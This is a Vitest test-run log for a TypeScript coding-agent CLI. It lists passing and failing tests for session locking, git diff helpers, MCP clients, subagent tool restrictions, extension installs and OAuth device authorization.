✓ AnthropicContentGenerator > generateContentStream > accumulates cache_creation_input_tokens through the streaming pipeline 471ms
✓ AnthropicContentGenerator > generateContentStream > does not substitute the requested model when a stream omits it 447ms
✓ AnthropicContentGenerator > generateContentStream > falls back to non-streaming when the stream is empty and surfaces provider errors 477ms
✓ AnthropicContentGenerator > generateContentStream > converts the non-streaming fallback response when an empty stream is recoverable 487ms
✓ AnthropicContentGenerator > tool_choice mapping from Gemini toolConfig > sets tool_choice=any when mode is ANY 443ms
✓ AnthropicContentGenerator > tool_choice mapping from Gemini toolConfig > omits tool_choice when mode is NONE (Anthropic has no none type) 490ms
✓ AnthropicContentGenerator > tool_choice mapping from Gemini toolConfig > omits tool_choice when mode is AUTO 485ms
✓ AnthropicContentGenerator > tool_choice mapping from Gemini toolConfig > omits tool_choice when no toolConfig is set 532ms
✓ AnthropicContentGenerator > tool_choice mapping from Gemini toolConfig > omits tool_choice when there are no tools even with mode ANY 472ms
✓ src/services/chatCompressionService.test.ts (115 tests) 6920ms
✓ ChatCompressionService > PostCompact hook > should handle PostCompact hook errors gracefully 367ms
✓ src/services/sessionService.test.ts (122 tests) 8756ms
✓ SessionService > loadSession > loads artifact side records attached to the active branch 307ms
✓ SessionService > forkSession > rewrites sessionId, rebuilds parentUuid, and stamps forkedFrom on every record 539ms
✓ src/hooks/hookEventHandler.test.ts (138 tests) 4132ms
✓ src/services/shellExecutionService.test.ts (134 tests) 10601ms
✓ ShellExecutionService > child environment sanitization (#6601) > strips Qwen-internal daemon secrets from the pty child env while keeping user vars and third-party credentials 641ms
✓ ShellExecutionService > Successful Execution > should execute a command and capture output 414ms
✓ ShellExecutionService > Successful Execution > should preserve full raw output when terminal writes are backlogged 1122ms
✓ src/utils/fileUtils.test.ts (172 tests) 19447ms
✓ fileUtils > BOM detection and encoding > readFileWithEncoding > should read GBK-encoded file with Chinese characters correctly 1322ms
✓ fileUtils > processSingleFileContent > should process an image file 385ms
✓ fileUtils > processSingleFileContent > returns a bounded overview when a PNG exceeds the old data URI limit 1864ms
✓ fileUtils > processSingleFileContent > flattens transparent overview pixels onto white 488ms
✓ fileUtils > processSingleFileContent > should preserve default full file-system reads for large text files 471ms
✓ fileUtils > processSingleFileContent > should stream explicit offset reads for large text files 1059ms
✓ fileUtils > processSingleFileContent > should propagate large non-UTF-8 errors through bounded reads 2405ms
✓ fileUtils > processSingleFileContent > should read large text files through bounded truncation instead of the 10MB gate 1202ms
✓ fileUtils > processSingleFileContent > should stream large text files when line truncation is disabled 643ms
✓ fileUtils > processSingleFileContent > should preserve disabled output truncation for large text files 669ms
✓ src/agents/runtime/workflow-orchestrator.test.ts (120 tests) 7737ms
✓ WorkflowOrchestrator > runs a script with injected mock dispatch and returns the script value 325ms
✓ WorkflowOrchestrator > P5 R3 #7: budget rejection does NOT consume agent-cap slots (correct terminal error after exhaustion) 422ms
✓ createProductionDispatch > bubbles a production subagent approval through the run registry and resumes after ProceedOnce 457ms
✓ src/permissions/permission-manager.test.ts (331 tests) 6649ms
✓ PermissionManager > command-level evaluation > resolves default to allow for readonly commands, ask for others 1478ms
✓ src/agents/background-agent-resume.test.ts (47 tests) 9953ms
✓ BackgroundAgentResumeService > restores interrupted and completed background agents without notifying again 732ms
✓ BackgroundAgentResumeService > fires SubagentStart hooks when resuming and injects hook context 519ms
✓ BackgroundAgentResumeService > coalesces concurrent resume calls into a single running agent 374ms
✓ BackgroundAgentResumeService > routes owned monitor notifications into a resumed agent queue 404ms
✓ BackgroundAgentResumeService > resumes fork agents with the current parent prompt and live tool registry ('legacy capability snapshots') 474ms
✓ BackgroundAgentResumeService > resumes fork agents with the current parent prompt and live tool registry ('legacy fork without a persisted displ…') 413ms
✓ BackgroundAgentResumeService > injects live MCP, skill, and deferred-tool reminders into the resumed fork prompt 430ms
✓ BackgroundAgentResumeService > reconstructs a completed agent once, then reuses and disposes its resident runtime 349ms
✓ BackgroundAgentResumeService > does not restore more completed agents than the terminal-agent cap 572ms
✓ src/tools/mcp-client.test.ts (112 tests) 17207ms
✓ mcp-client > dedicated undici fetch (#7147) > performs real requests through the dedicated dispatcher 3546ms
✓ mcp-client > dedicated undici fetch (#7147) > honors the TLS-insecure switch for self-signed MCP endpoints 2508ms
✓ mcp-client > McpClient > allows invocation context only for a client bound to a created stdio transport 1316ms
✓ mcp-client > listMcpPrompts (F2 pure helper) > exhausts retries on persistent transient errors and returns [] 647ms
✓ mcp-client > listMcpResources > exhausts retries on persistent transient errors and returns [] 647ms
✓ mcp-client > createTransport > should connect via httpUrl > with headers 367ms
✓ src/core/anthropicContentGenerator/converter.test.ts (101 tests) 1934ms
✓ src/agents/runtime/agent-headless.test.ts (60 tests) 41395ms
✓ subagent.ts > AgentHeadless > create (Tool Validation) > should create a AgentHeadless successfully with minimal config 7703ms
✓ subagent.ts > AgentHeadless > create (Tool Validation) > should not block creation when a tool may require confirmation 743ms
✓ subagent.ts > AgentHeadless > create (Tool Validation) > should succeed if tools do not require confirmation 536ms
✓ subagent.ts > AgentHeadless > create (Tool Validation) > should allow creation regardless of tool parameter requirements 468ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should correctly template the system prompt and initialize GeminiChat 1025ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should reuse chat and tools for sequential follow-up turns 449ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should continue with atomically claimed finishing inputs 1278ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should preserve statistics for continuation work in the same logical turn 411ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should reject concurrent execute calls 577ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should clear the prior result before a failing follow-up turn 506ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should append userMemory to the system prompt when available 366ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should not append userMemory separator when userMemory is empty 332ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should not append userMemory separator when userMemory is whitespace-only 342ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should append the auto-memory section to the system prompt when available 368ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should replace env history with initialMessages when both initialMessages and systemPrompt are set 314ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should skip env history when initialMessages is an empty array 319ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should use renderedSystemPrompt verbatim and bypass templating 321ms
✓ subagent.ts > AgentHeadless > execute - Initialization and Prompting > should validate that systemPrompt and renderedSystemPrompt are mutually exclusive 322ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should terminate with GOAL if no outputs are expected and model stops 323ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should terminate with GOAL when model provides final text 346ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should wait for external notification after a no-tool response 463ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should finalize after an empty wake when no owner monitor remains running 384ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should skip idle wait when the predicate flips false before wait registration 1214ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should keep waiting after an empty wake while an owner monitor is still running 529ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should drain queued external notification before finalizing 401ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should not idle-wait when max turns prevents another round 340ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should execute external tools and provide the response to the model 1181ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > keeps declarations unchanged while enforcing the execution allowlist 679ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > treats an empty execution allowlist as deny-all 414ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > caps and decouples the execution allowlist denial message 433ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > matches an exact MCP server allowlist entry without crossing server boundaries 454ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > lets mcp__* match MCP tools without matching built-in tools 418ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > matches long MCP wildcard patterns by raw server identity and boundary 424ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should ignore duplicate provider tool-call ids across rounds 529ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should stop repeated duplicate provider tool-call responses 1387ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should stop consecutive identical tool calls with fresh ids 882ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should ignore duplicate provider tool-call ids already present in chat history 461ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should execute only the first duplicate functionCall id in one model turn 450ms
✓ subagent.ts > AgentHeadless > execute - Execution and Tool Use > should report unauthorized tool names before duplicate provider ids 514ms
✓ subagent.ts > AgentHeadless > execute - Termination and Recovery > should terminate with MAX_TURNS if the limit is reached 451ms
✓ subagent.ts > AgentHeadless > execute - Termination and Recovery > should treat max_turns 0 as an unlimited turn budget 429ms
✓ subagent.ts > AgentHeadless > execute - Termination and Recovery > should terminate with TIMEOUT if the time limit is reached during an LLM call 1166ms
✓ subagent.ts > AgentHeadless > execute - Termination and Recovery > should terminate with ERROR if the model call throws 710ms
✓ subagent.ts > AgentHeadless > execute - Streaming and Thought Handling > should emit STREAM_TEXT events with thought flag 484ms
✓ subagent.ts > AgentHeadless > execute - Streaming and Thought Handling > should emit usage for a tool-call-only model round 504ms
✓ subagent.ts > AgentHeadless > execute - Streaming and Thought Handling > should exclude thought text from finalText 403ms
✓ subagent.ts > AgentHeadless > execute - Streaming and Thought Handling > should not set finalText from thought-only response 462ms
✓ subagent.ts > AgentHeadless > execute - Tool Restriction Enforcement (Issue #1121) > should NOT execute tools that are not in the allowed tools list 681ms
✓ subagent.ts > AgentHeadless > execute - Tool Restriction Enforcement (Issue #1121) > should mark truncated subagent write_file calls as output-truncated errors 2392ms
✓ subagent.ts > AgentHeadless > execute - Tool Restriction Enforcement (Issue #1121) > should NOT reject write_file when truncated attempt is followed by successful retry 3037ms
✓ subagent.ts > AgentHeadless > execute - Tool Restriction Enforcement (Issue #1121) > keeps automatic max token escalation warm for the next agent round 1385ms
✓ src/extension/extensionManager.test.ts (110 tests) 20940ms
✓ extension tests > installExtension > installs and uninstalls within an injected extension store root 2418ms
✓ extension tests > installExtension > commits workspace initial activation with the installed artifact 447ms
✓ extension tests > installExtension > prepares without mutating the store and commits exactly once 421ms
✓ extension tests > installExtension > signals the durable commit before runtime refresh completes 549ms
✓ extension tests > installExtension > fully validates the staged extension before commit 445ms
✓ extension tests > installExtension > uses the installed path for Claude plugin root replacement 434ms
✓ extension tests > installExtension > does not report a temp cleanup warning when an immediate retry succeeds 336ms
✓ extension tests > installExtension > reports deferred settings failure as a post-commit warning 314ms
✓ extension tests > installExtension > signals the durable commit before deferred settings finish 335ms
✓ extension tests > installExtension > records error telemetry when a prepared install commit fails 303ms
✓ extension tests > installExtension > should not reuse a dirty tempDir when falling back from GitHub release to git clone 345ms
✓ extension tests > enableExtension / disableExtension > applies V2 default and workspace activation to loaded extensions 624ms
✓ extension tests > enableExtension / disableExtension > refreshes runtime tools after V2 activation changes 442ms
✓ extension tests > enableExtension / disableExtension > clears only child workspace overrides during a legacy user mutation 315ms
✓ extension tests > updateExtension > applies the update network policy without mutating cached metadata 440ms
✓ extension tests > updateExtension > rejects a stale direct update after the artifact changes 632ms
✓ extension tests > updateExtension > reports a committed update runtime warning as needing restart 311ms
✓ extension tests > updateExtension > surfaces a committed settings compatibility warning distinctly 352ms
❯ src/services/session-writer-lease.test.ts (86 tests | 3 failed | 2 skipped) 93139ms
✓ SessionWriterLease > activates a real ACP Config from the authoritative physical tail 2053ms
✓ SessionWriterLease > hands a real managed ACP Config to a certified replacement 1143ms
✓ SessionWriterLease > restores and re-anchors a persisted title outside the active UUID chain 558ms
✓ SessionWriterLease > preserves transcript-changed during Config activation cleanup 115ms
✓ SessionWriterLease > keeps failed acquisition cleanup terminal without retrying the primary lock 216ms
✓ SessionWriterLease > does not retry failed cleanup after reclaiming a stale lock 9718ms
✓ SessionWriterLease > uses a clock-independent Linux process identity 50ms
↓ SessionWriterLease > does not reclaim a live Darwin owner across different time zones
× SessionWriterLease > rejects a second process and reclaims its lock after SIGKILL 8932ms
→ promise resolved "SessionWriterLease{ …(13) }" instead of rejecting
✓ SessionWriterLease > fails closed when process liveness cannot be determined 164ms
✓ SessionWriterLease > detects external transcript and lock changes 131ms
✓ SessionWriterLease > classifies an unreadable owned lock as unavailable 45ms
✓ SessionWriterLease > fails closed on a malformed lock 162ms
✓ SessionWriterLease > logs acquisition diagnostics without changing the public error 341ms
✓ SessionWriterLease > fails closed on a non-regular lock 46ms
✓ SessionWriterLease > fails closed on a truncated transcript tail 84ms
✓ SessionWriterLease > rejects a dangling transcript symlink introduced before sealing 70ms
✓ SessionWriterLease > rejects a dangling transcript symlink before certified takeover 145ms
✓ SessionWriterLease > detects an equal-length atomic transcript replacement 71ms
✓ SessionWriterLease > reconciles timestamp-only metadata changes before appending 214ms
✓ SessionWriterLease > reconciles a same-owner chown 81ms
✓ SessionWriterLease > detects an equal-length in-place overwrite with restored mtime 82ms
✓ SessionWriterLease > rejects actual permission and hard-link changes 96ms
↓ SessionWriterLease > rejects an actual owner change
✓ SessionWriterLease > classifies an unreadable transcript symlink replacement as changed 51ms
✓ SessionWriterLease > does not follow a symlink installed between transcript inspection and open 61ms
✓ SessionWriterLease > does not follow a symlink installed between transcript inspection and append open 291ms
✓ SessionWriterLease > classifies a transcript FIFO replacement as changed without a peer 423ms
✓ SessionWriterLease > classifies transcript deletion as changed 78ms
✓ SessionWriterLease > detects a size change between handle and path stat 128ms
✓ SessionWriterLease > detects an equal-length overwrite between handle and path stat 119ms
✓ SessionWriterLease > does not rescan the transcript on ordinary appends 215ms
✓ SessionWriterLease > continues hashing after a short regular-file read 216ms
✓ SessionWriterLease > retries a timestamp change during content verification 116ms
✓ SessionWriterLease > resizes the hash buffer when an empty transcript grows between retries 82ms
✓ SessionWriterLease > requires a stable scan when an already-read prefix changes 173ms
✓ SessionWriterLease > fails bounded when transcript timestamps never stabilize 97ms
✓ SessionWriterLease > detects an atomic replacement during content verification 127ms
✓ SessionWriterLease > detects truncation during content verification 96ms
✓ SessionWriterLease > detects deletion during content verification 94ms
✓ SessionWriterLease > detects owner loss during content verification 108ms
✓ SessionWriterLease > reconciles metadata touched between the barrier and append handle stat 109ms
✓ SessionWriterLease > does not commit a candidate digest after post-write validation fails 159ms
✓ SessionWriterLease > detects an equal-length overwrite after the post-write handle stat 118ms
✓ SessionWriterLease > detects an equal-length overwrite during the post-write tail read 125ms
✓ SessionWriterLease > reconciles metadata touched after the post-write handle stat 118ms
✓ SessionWriterLease > accounts for UTF-8 bytes and releases concurrently without losing ownership 84ms
✓ SessionWriterLease > creates the transcript directory with owner-only permissions 68ms
✓ SessionWriterLease > keeps a failed release terminal stable instead of retrying the primary path 49ms
✓ SessionWriterLease > retries a transient ownership precheck failure before release 121ms
✓ SessionWriterLease > never reclaims a dead local owner when managed policy is enabled 8064ms
✓ SessionWriterLease > never treats a foreign-host active record as a certified handoff 86ms
✓ SessionWriterLease > keeps schema v1 records on the active-owner path 180ms
✓ SessionWriterLease > seals a transcript proof and permits only certified takeover 326ms
✓ SessionWriterLease > waits for an accepted append before sealing the transcript 186ms
✓ SessionWriterLease > reconciles a sealing error reported after the sealed primary is installed 159ms
✓ SessionWriterLease > reconciles a sealing claim link error after effect 106ms
✓ SessionWriterLease > reconciles a sealing claim unlink error after effect 109ms
✓ SessionWriterLease > does not roll back after the released claim is replaced 96ms
✓ SessionWriterLease > does not roll back sealing after claim ownership changes 130ms
✓ SessionWriterLease > retains the claim when sealing rollback cannot restore the primary 174ms
✓ SessionWriterLease > removes the claim after sealing rollback restores the primary 119ms
✓ SessionWriterLease > waits for a claim-aware primary candidate before completing sealing 220ms
✓ SessionWriterLease > fails closed when a primary candidate is abandoned during sealing 2345ms
✓ SessionWriterLease > waits for a claim-aware primary candidate while rolling back sealing 287ms
✓ SessionWriterLease > fails closed when a primary candidate is abandoned during rollback 1251ms
✓ SessionWriterLease > never overwrites a primary installed during the sealing transition 100ms
✓ SessionWriterLease > elects exactly one certified replacement for a sealed session 8240ms
✓ SessionWriterLease > releases a losing takeover claim before its transition starts 175ms
✓ SessionWriterLease > reconciles a takeover error reported after the active primary is installed 140ms
✓ SessionWriterLease > reconciles a takeover claim link error after effect 113ms
✓ SessionWriterLease > reconciles a takeover claim unlink error after effect 143ms
✓ SessionWriterLease > does not roll back takeover after claim ownership changes 167ms
✓ SessionWriterLease > retains the claim when takeover rollback cannot restore the primary 192ms
✓ SessionWriterLease > never overwrites a primary installed during the takeover transition 118ms
✓ SessionWriterLease > retains a sealed lock when the transcript proof changes by append 115ms
✓ SessionWriterLease > retains a sealed lock when the transcript proof changes by truncate 105ms
✓ SessionWriterLease > retains a sealed lock when the transcript proof changes by replace 120ms
✓ SessionWriterLease > retains a sealed primary with a valid but mismatched transcript digest 117ms
✓ SessionWriterLease > retains a sealed primary with a malformed transcript digest 209ms
✓ SessionWriterLease > fails closed without changing a sealed primary when a claim remains 90ms
✓ SessionWriterLease > cannot remove a successor lock after release commits 102ms
× SessionWriterLease > elects only one stale-lock reclaimer across processes 16371ms
→ expected [ { id: 8, ok: true, …(1) }, …(1) ] to have a length of 1 but got 2
✓ SessionWriterLease > recovers after a stale-lock reclaimer dies while holding its guard 8126ms
✓ SessionWriterLease > keeps the primary lock when reclaim guard cleanup is already complete 8367ms
× SessionWriterLease > reloads the authoritative tail before the next writer appends 8035ms
→ promise resolved "SessionWriterLease{ …(13) }" instead of rejecting
✓ src/telemetry/session-tracing.test.ts (150 tests) 2662ms
✓ src/services/cronScheduler.test.ts (127 tests) 16720ms
✓ CronScheduler > durable lock lifecycle > releases the lock on stop so another session can take over 1294ms
✓ CronScheduler > durable enabled flag > loads enabled and legacy tasks but skips enabled:false ones 349ms
✓ CronScheduler > durable enabled flag > drops a live job when the file flips it to disabled on reload 490ms
✓ CronScheduler > durable enabled flag > does not let session-only jobs crowd out durable loads 1884ms
✓ CronScheduler > durable ownership > classifies an armed one-shot as missed after its live tick window expires 733ms
✓ CronScheduler > durable ownership > reloads durable tasks when the file changes on disk 374ms
✓ nextDurableFireMs > actually applies a per-task jitter (not the bare boundary) 968ms
✓ nextDurableFireMs > anchors a one-shot task on createdAt, ignoring lastFiredAt 1568ms
✓ src/models/modelsConfig.test.ts (81 tests) 2043ms
✓ src/core/loggingContentGenerator/loggingContentGenerator.test.ts (57 tests) 3201ms
✓ LoggingContentGenerator > logs request/response, normalizes thought parts, and logs OpenAI interaction 451ms
✓ src/agents/background-tasks.test.ts (123 tests) 2766ms
✓ src/tools/mcp-tool.test.ts (91 tests) 3983ms
✓ DiscoveredMCPTool > invocation context metadata > injects trusted request metadata for an allowed stdio tool 1091ms
✓ DiscoveredMCPTool > invocation context metadata > omits request metadata for false/true 306ms
✓ src/subagents/subagent-manager.test.ts (134 tests) 8468ms
✓ SubagentManager > resolveModelGrade > resolves only available grades and preserves custom defaults 546ms
✓ SubagentManager > serializeSubagent > should not serialize background when undefined 470ms
✓ SubagentManager > createSubagent > should create subagent successfully 366ms
✓ SubagentManager > Runtime Configuration Methods > createAgentHeadless model override > removes the interactive question tool from regular subagents 1066ms
✓ src/utils/gitDiff.test.ts (124 tests) 77981ms
✓ fetchGitDiff > returns null when not in a git repo 675ms
✓ fetchGitDiff > captures tracked modifications and counts lines in untracked text files 1140ms
✓ fetchGitDiff > marks oversized untracked text files as truncated 1643ms
✓ fetchGitDiff > flags untracked binary files without counting lines 1162ms
✓ fetchGitDiff > returns zero stats on a clean working tree 968ms
✓ fetchGitDiff > returns null during a transient merge state 690ms
✓ fetchGitDiffHunks > returns hunks for modified tracked files 819ms
✓ fetchGitDiffHunks > preserves content lines that start with --- / +++ / index 858ms
✓ fetchGitDiffHunks > keys hunks by the real path for files with tabs in the name (C-quoted in diff output) 811ms
✓ fetchGitDiffHunks > keys hunks by the real path for files whose name contains " b/" 821ms
✓ fetchGitDiffHunks > handles multi-hunk diffs 799ms
✓ fetchGitDiffHunksForFile > returns hunks for a modified tracked file 783ms
✓ fetchGitDiffHunksForFile > scopes the diff to the requested file only 776ms
✓ fetchGitDiffHunksForFile > returns null for an unchanged tracked file 835ms
✓ fetchGitDiffHunksForFile > returns null during a transient merge state 655ms
✓ fetchGitDiffHunksForFile > diffs a renamed file old→new when oldPath is provided 941ms
✓ fetchGitDiffHunksForFile > synthesizes an all-added hunk for an untracked file 890ms
✓ fetchGitDiffHunksForFile > reports truncation for an untracked file past the line cap 909ms
✓ fetchGitDiffHunksForFile > reports truncation for a tracked diff past the parser line cap 829ms
✓ fetchGitDiffHunksForFile > returns null for a binary untracked file 859ms
✓ fetchGitDiffHunksForFile > returns null for an untracked FIFO without hanging 908ms
✓ fetchGitDiffHunksForFile > returns null for an ignored file 891ms
✓ fetchGitDiffHunksForFile > rejects unsafe relative paths (traversal / empty) 330ms
✓ fetchGitDiffHunksForFile > accepts an absolute path inside the repo and rejects one outside it 704ms
✓ fetchGitDiffHunksForFile > accepts a literal `..foo` filename at the root (not a traversal) 710ms
✓ fetchGitDiffHunksForFile > returns null outside a git repo 339ms
✓ resolveGitDir > follows the gitdir pointer for linked worktrees 1011ms
✓ getGitWorkingTreeStatus stash count in a linked worktree > counts the shared stash from inside a linked worktree 1899ms
✓ getGitWorkingTreeStatus stash count in a linked worktree > still reports the per-worktree operation, not the shared one 1833ms
✓ getGitWorkingTreeStatus stash count in a linked worktree > still counts the stash in a plain repository 1384ms
✓ fetchGitDiff transient-state detection > short-circuits when CHERRY_PICK_HEAD is present (file) 644ms
✓ fetchGitDiff transient-state detection > short-circuits when REVERT_HEAD is present (file) 643ms
✓ fetchGitDiff transient-state detection > short-circuits when rebase-merge is present (dir) 667ms
✓ fetchGitDiff transient-state detection > short-circuits when rebase-apply is present (dir) 663ms
✓ fetchGitDiff tracked-file filename robustness > keeps the real filename for tracked files that contain a tab 934ms
✓ fetchGitDiff tracked-file filename robustness > keys a rename by its new path and carries the old path 1001ms
✓ fetchGitDiff non-ASCII filenames > does not octal-escape UTF-8 filenames via core.quotepath 926ms
✓ fetchGitDiff untracked with special filenames > counts an untracked file whose name contains a newline as one entry 922ms
✓ fetchGitDiff invocation from a subdirectory > returns repo-wide changes with consistent repo-root-relative path keys 926ms
✓ fetchGitDiff fast path with untracked-only workspaces > takes the >MAX_FILES_FOR_DETAILS short-circuit when shortstat is empty 1184ms
✓ fetchGitDiffHunks ignores external diff drivers > does not invoke GIT_EXTERNAL_DIFF when reading hunks 776ms
✓ fetchGitDiffHunks ignores external diff drivers > does not invoke textconv drivers when reading hunks 869ms
✓ fetchGitDiff deletion detection > marks tracked files removed from the worktree as isDeleted 974ms
✓ fetchGitDiff deletion detection > does not mark either side of a rename as deleted 1047ms
✓ fetchGitDiff special filetypes among untracked files > marks untracked symlinks as binary and never follows them 935ms
✓ fetchGitDiff untracked counting > aggregates untracked line counts into linesAdded even when the per-file map is full of tracked entries 1428ms
✓ fetchGitDiff untracked counting > line-counts every untracked file in the slow path, not just the first MAX_FILES 1110ms
✓ getGitWorkingTreeStatus > returns null when not in a git repo 358ms
✓ getGitWorkingTreeStatus > reports a clean repo on its branch with zero counts 770ms
✓ getGitWorkingTreeStatus > counts staged, unstaged, and untracked changes 890ms
✓ getGitWorkingTreeStatus > detects a detached HEAD 1256ms
✓ getGitWorkingTreeStatus > counts stash entries 1112ms
✓ getGitWorkingTreeStatus > reports ahead/behind against an upstream 3882ms
✓ getGitWorkingTreeStatus > surfaces an in-progress merge instead of returning null 823ms
✓ getGitWorkingTreeStatus > detects an in-progress rebase (rebase-merge dir) 765ms
✓ getGitWorkingTreeStatus > detects an in-progress rebase (rebase-apply dir, e.g. git am) 780ms
✓ getGitWorkingTreeStatus > detects an in-progress cherry-pick 831ms
✓ getGitWorkingTreeStatus > detects an in-progress revert 881ms
✓ getGitWorkingTreeStatus > detects an in-progress bisect 785ms
✓ fetchGitLog > returns null for a non-repo directory 368ms
✓ fetchGitLog > returns empty list for a repo with no commits 527ms
✓ fetchGitLog > returns commits newest-first with correct fields 1090ms
✓ fetchGitLog > paginates with limit and hasMore 2088ms
✓ fetchGitLog > respects limit and clamps edge values 1447ms
✓ fetchGitLog > includes refs for HEAD 737ms
✓ fetchGitLog > preserves a unit separator in the commit subject 753ms
✓ fetchGitCommitDetail > returns null for invalid sha 516ms
✓ fetchGitCommitDetail > returns null for a non-repo directory 599ms
✓ fetchGitCommitDetail > returns detail with body and file stats 1064ms
✓ fetchGitCommitDetail > preserves unit separators in the subject and body 1002ms
✓ fetchGitCommitDetail > handles root commit (no parent) 927ms
✓ fetchGitCommitDetail > detects binary files 931ms
✓ fetchGitCommitDetail > returns null for nonexistent sha 712ms
✓ fetchGitCommitDetail > counts a renamed file by its new path (not dropped, not empty-path) 1296ms
✓ fetchGitCommitDetail > shows the first-parent diff for a merge commit 2050ms
✓ fetchGitLog range argument injection guard > honours a legitimate revision range 1017ms
✓ fetchGitLog range argument injection guard > ignores a range that is really a git option and writes no file 1121ms
✓ fetchGitLog range argument injection guard > drops a range starting with .. and returns the full log 970ms
✓ fetchGitLog range argument injection guard > drops a range with characters outside the allowlist 940ms
✓ src/goals/goal-runtime.test.ts (75 tests) 3908ms
✓ goal runtime > persists verifier acceptance before completing a verified proposal 342ms
✓ src/extension/github.test.ts (86 tests) 37726ms
✓ git extension helpers > cloneFromGit > pins public HTTPS Git traffic and disables redirects and proxies 556ms
✓ git extension helpers > checkForExtensionUpdate > should convert a local Gemini archive before checking for updates 1352ms
✓ git extension helpers > downloadFromGitHubRelease > preserves the abort reason for release metadata response errors 492ms
✓ git extension helpers > downloadFromGitHubRelease > times out release metadata requests 413ms
✓ git extension helpers > downloadFromGitHubRelease > should extract and flatten a tar.gz archive with a wrapped extension directory 1265ms
✓ git extension helpers > downloadFromGitHubRelease > should flatten wrapped archives when the archive file is in the destination 349ms
✓ git extension helpers > extractFile > should cancel while scanning a tar archive 5960ms
✓ git extension helpers > extractFile > should cancel while extracting a tar archive 14914ms
✓ git extension helpers > extractFile > should extract a .zip file 899ms
✓ git extension helpers > extractFile > should cancel while extracting a zip archive 6291ms
✓ src/utils/schemaValidator.test.ts (132 tests) 12678ms
✓ SchemaValidator > allows schema with extra properties 1065ms
✓ SchemaValidator > boolean string coercion > should not affect non-boolean strings 390ms
✓ SchemaValidator > numeric string coercion > should work with draft-2020-12 schema (MCP servers) 1095ms
✓ SchemaValidator > compileStrict > returns null for a simple valid schema 329ms
✓ SchemaValidator > compileStrict > returns null for draft-2020-12 schemas 556ms
✓ SchemaValidator > compileStrict > accepts type-union arrays under allowUnionTypes 540ms
✓ SchemaValidator > compileStrict > accepts spec-valid schemas that Ajv `strict: true` would reject 843ms
✓ SchemaValidator > compileStrict > accepts the draft-2020-12 URI with a trailing `#` fragment 460ms
✓ SchemaValidator > circular $ref protection > should handle deeply nested anyOf without stack overflow 694ms
✓ SchemaValidator > getAcceptedTypes memoization (branching $ref DoS guard) > collapses an exponentially branching $ref type tree to linear time 494ms
✓ src/services/loopDetectionService.test.ts (97 tests) 9880ms
✓ LoopDetectionService > Content Loop Detection > should not detect a loop for random content 5846ms
✓ LoopDetectionService > Content Loop Detection > should not detect a loop if repetitions are very far apart 329ms
✓ LoopDetectionService > Content Loop Detection with Code Blocks > should reset tracking for various list item formats 313ms
✓ LoopDetectionService > Content Loop Detection with Code Blocks > should reset tracking for various heading levels 308ms
+----------------- Qwen OAuth Device Authorization ------------------+
| |
| Please visit the following URL in your browser to authorize: |
| |
| https://chat.qwen.ai/device?code=TEST123 |
| |
| Waiting for authorization to complete... |
| |
+--------------------------------------------------------------------+
+----------------- Qwen OAuth Device Authorization ------------------+
| |
| Please visit the following URL in your browser to authorize: |
| |
| https://chat.qwen.ai/device?code=TEST123 |
| |
| Waiting for authorization to complete... |
| |
+--------------------------------------------------------------------+
+----------------- Qwen OAuth Device Authorization ------------------+
| |
| Please visit the following URL in your browser to authorize: |
| |
| https://chat.qwen.ai/device?code=TEST123 |
| |
| Waiting for authorization to complete... |
| |
+--------------------------------------------------------------------+
+----------------- Qwen OAuth Device Authorization ------------------+
| |
| Please visit the following URL in your browser to authorize: |
| |
| https://chat.qwen.ai/device?code=TEST123 |
| |
| Waiting for authorization to complete... |
| |
+--------------------------------------------------------------------+
+----------------- Qwen OAuth Device Authorization ------------------+
| |
| Please visit the following URL in your browser to authorize: |
| |
| https://chat.qwen.ai/device?code=TEST123 |
| |
| Waiting for authorization to complete... |
| |
+--------------------------------------------------------------------+
✓ src/qwen/qwenOAuth2.test.ts (89 tests) 5318ms
✓ getQwenOAuthClient - Enhanced Error Scenarios > should handle different authentication failure reasons - timeout 2075ms
✓ src/telemetry/loggers.test.ts (75 tests) 5598ms
✓ loggers > logChatCompression > logs the chat compression event to QwenLogger 687ms
✓ loggers > logCliConfiguration > should log the cli configuration 823ms
✓ loggers > logApiError skips chatRecordingService for internal prompt IDs > increments the api-activity error counter for the daemon health chart 338ms
✓ src/lsp/NativeLspService.test.ts (33 tests) 3244ms
✓ NativeLspService > should open a workspace file before workspace symbol search 543ms
✓ src/services/chatRecordingService.test.ts (66 tests) 4332ms
✓ ChatRecordingService > flush > notifies once with the failed record session id 557ms
✓ src/hooks/hookSystem.test.ts (95 tests) 2892ms
✓ src/tools/read-file.test.ts (87 tests) 11011ms
✓ ReadFileTool > build > should return an invocation for valid params (absolute path within root) 1359ms
